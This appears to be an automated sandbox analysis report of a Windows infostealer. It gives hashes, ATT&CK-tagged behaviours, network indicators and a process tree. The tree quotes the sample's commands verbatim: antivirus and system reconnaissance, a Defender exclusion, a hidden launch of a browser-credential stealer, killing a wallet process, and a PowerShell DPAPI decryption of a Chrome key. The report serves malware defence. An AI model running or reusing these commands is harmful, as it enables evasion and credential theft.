881d5c50e3a9ec406319d17477d0732e851dfa58077065276a9ef16eca4a111b

Analysis

max time kernel
150s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Size 43.2MB
Sample260710-e483xsc12m
SHA256 881d5c50e3a9ec406319d17477d0732e851dfa58077065276a9ef16eca4a111b
MD5 4faf0fdb2766ac5caef4b2396036e67a
SHA1 635943548fea882327c978c0ea3b6795736145e6
SHA512 c98a6acb903bf6e51624ff788709c83e3317b58736481fa870a6004624b86d6c7638cd3499d95f7e7297ce8219183c4f521f3559bbd5b583386fcc58c395c062
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfW:fMguj8Q4VfvTqFTrYp
TLSH
T1D3A78C0773EA01A5E5B3E1388AA74103D773B4675731CBDB329D02552FABAE09A7E710
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c59d-25.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4144	powershell.exe
5036	powershell.exe
5152	powershell.exe
4260	powershell.exe
1732	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4272	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
5380	chromelevator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
1	discord.com
2	raw.githubusercontent.com
4	raw.githubusercontent.com
5	api.gofile.io
9	discord.com

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Desktop\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
File created	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Downloads\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
File created	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Documents\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
File opened for modification	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Desktop\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
File opened for modification	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Documents\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
File opened for modification	C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\output\Grabbed_Files\Downloads\desktop.ini	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2372	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3468	systeminfo.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
1860	taskkill.exe
3348	taskkill.exe
5104	taskkill.exe
5836	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1012	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
1732	powershell.exe
1732	powershell.exe
5152	powershell.exe
5152	powershell.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
5380	chromelevator.exe
4144	powershell.exe
4144	powershell.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
4144	powershell.exe
5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
4260	powershell.exe
4260	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4580	WMIC.exe
Token: SeSecurityPrivilege	4580	WMIC.exe
Token: SeTakeOwnershipPrivilege	4580	WMIC.exe
Token: SeLoadDriverPrivilege	4580	WMIC.exe
Token: SeSystemProfilePrivilege	4580	WMIC.exe
Token: SeSystemtimePrivilege	4580	WMIC.exe
Token: SeProfSingleProcessPrivilege	4580	WMIC.exe
Token: SeIncBasePriorityPrivilege	4580	WMIC.exe
Token: SeCreatePagefilePrivilege	4580	WMIC.exe
Token: SeBackupPrivilege	4580	WMIC.exe
Token: SeRestorePrivilege	4580	WMIC.exe
Token: SeShutdownPrivilege	4580	WMIC.exe
Token: SeDebugPrivilege	4580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4580	WMIC.exe
Token: SeRemoteShutdownPrivilege	4580	WMIC.exe
Token: SeUndockPrivilege	4580	WMIC.exe
Token: SeManageVolumePrivilege	4580	WMIC.exe
Token: 33	4580	WMIC.exe
Token: 34	4580	WMIC.exe
Token: 35	4580	WMIC.exe
Token: 36	4580	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4580	WMIC.exe
Token: SeSecurityPrivilege	4580	WMIC.exe
Token: SeTakeOwnershipPrivilege	4580	WMIC.exe
Token: SeLoadDriverPrivilege	4580	WMIC.exe
Token: SeSystemProfilePrivilege	4580	WMIC.exe
Token: SeSystemtimePrivilege	4580	WMIC.exe
Token: SeProfSingleProcessPrivilege	4580	WMIC.exe
Token: SeIncBasePriorityPrivilege	4580	WMIC.exe
Token: SeCreatePagefilePrivilege	4580	WMIC.exe
Token: SeBackupPrivilege	4580	WMIC.exe
Token: SeRestorePrivilege	4580	WMIC.exe
Token: SeShutdownPrivilege	4580	WMIC.exe
Token: SeDebugPrivilege	4580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4580	WMIC.exe
Token: SeRemoteShutdownPrivilege	4580	WMIC.exe
Token: SeUndockPrivilege	4580	WMIC.exe
Token: SeManageVolumePrivilege	4580	WMIC.exe
Token: 33	4580	WMIC.exe
Token: 34	4580	WMIC.exe
Token: 35	4580	WMIC.exe
Token: 36	4580	WMIC.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeIncreaseQuotaPrivilege	1732	powershell.exe
Token: SeSecurityPrivilege	1732	powershell.exe
Token: SeTakeOwnershipPrivilege	1732	powershell.exe
Token: SeLoadDriverPrivilege	1732	powershell.exe
Token: SeSystemProfilePrivilege	1732	powershell.exe
Token: SeSystemtimePrivilege	1732	powershell.exe
Token: SeProfSingleProcessPrivilege	1732	powershell.exe
Token: SeIncBasePriorityPrivilege	1732	powershell.exe
Token: SeCreatePagefilePrivilege	1732	powershell.exe
Token: SeBackupPrivilege	1732	powershell.exe
Token: SeRestorePrivilege	1732	powershell.exe
Token: SeShutdownPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeSystemEnvironmentPrivilege	1732	powershell.exe
Token: SeRemoteShutdownPrivilege	1732	powershell.exe
Token: SeUndockPrivilege	1732	powershell.exe
Token: SeManageVolumePrivilege	1732	powershell.exe
Token: 33	1732	powershell.exe
Token: 34	1732	powershell.exe
Token: 35	1732	powershell.exe
Token: 36	1732	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1392 wrote to memory of 5812	1392	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	87
PID 5812 wrote to memory of 4388	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	88
PID 4388 wrote to memory of 5788	4388	cmd.exe	90
PID 5788 wrote to memory of 5916	5788	net.exe	91
PID 5812 wrote to memory of 3152	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	92
PID 3152 wrote to memory of 4272	3152	cmd.exe	94
PID 5812 wrote to memory of 3040	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	95
PID 3040 wrote to memory of 4580	3040	cmd.exe	97
PID 5812 wrote to memory of 2776	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	98
PID 2776 wrote to memory of 1012	2776	cmd.exe	100
PID 5812 wrote to memory of 1616	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	101
PID 1616 wrote to memory of 2372	1616	cmd.exe	103
PID 5812 wrote to memory of 3640	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	104
PID 3640 wrote to memory of 3468	3640	cmd.exe	106
PID 5812 wrote to memory of 4932	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	108
PID 4932 wrote to memory of 3256	4932	cmd.exe	110
PID 5812 wrote to memory of 1728	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	112
PID 1728 wrote to memory of 2520	1728	cmd.exe	114
PID 2520 wrote to memory of 704	2520	net.exe	115
PID 5812 wrote to memory of 3100	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	116
PID 3100 wrote to memory of 1732	3100	cmd.exe	118
PID 5812 wrote to memory of 4864	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	119
PID 4864 wrote to memory of 5152	4864	cmd.exe	121
PID 5152 wrote to memory of 5380	5152	powershell.exe	122
PID 5380 wrote to memory of 408	5380	chromelevator.exe	124
PID 5380 wrote to memory of 408	5380	chromelevator.exe	124
PID 5380 wrote to memory of 828	5380	chromelevator.exe	127
PID 5380 wrote to memory of 828	5380	chromelevator.exe	127
PID 5812 wrote to memory of 1888	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	128
PID 1888 wrote to memory of 5836	1888	cmd.exe	130
PID 5812 wrote to memory of 5064	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	131
PID 5064 wrote to memory of 1860	5064	cmd.exe	133
PID 5812 wrote to memory of 3844	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	134
PID 5812 wrote to memory of 1404	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	136
PID 5812 wrote to memory of 4000	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	137
PID 3844 wrote to memory of 3348	3844	cmd.exe	140
PID 4000 wrote to memory of 4144	4000	cmd.exe	141
PID 1404 wrote to memory of 5036	1404	cmd.exe	142
PID 5812 wrote to memory of 4524	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	143
PID 4524 wrote to memory of 4260	4524	cmd.exe	145
PID 5812 wrote to memory of 4160	5812	2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	146
PID 4160 wrote to memory of 5104	4160	cmd.exe	148

C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe C:\snapshot\Kynix_Bot\builds\c038d105\kynix.js --hidden
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4388
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5788
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
      4⤵
      Modifies registry key
      PID:1012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\system32\cscript.exe
      cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs"
      4⤵
      PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2520
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5152
    - - C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
        
        "C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5380
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:408
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5036
- - C:\Windows\system32\cmd.exe
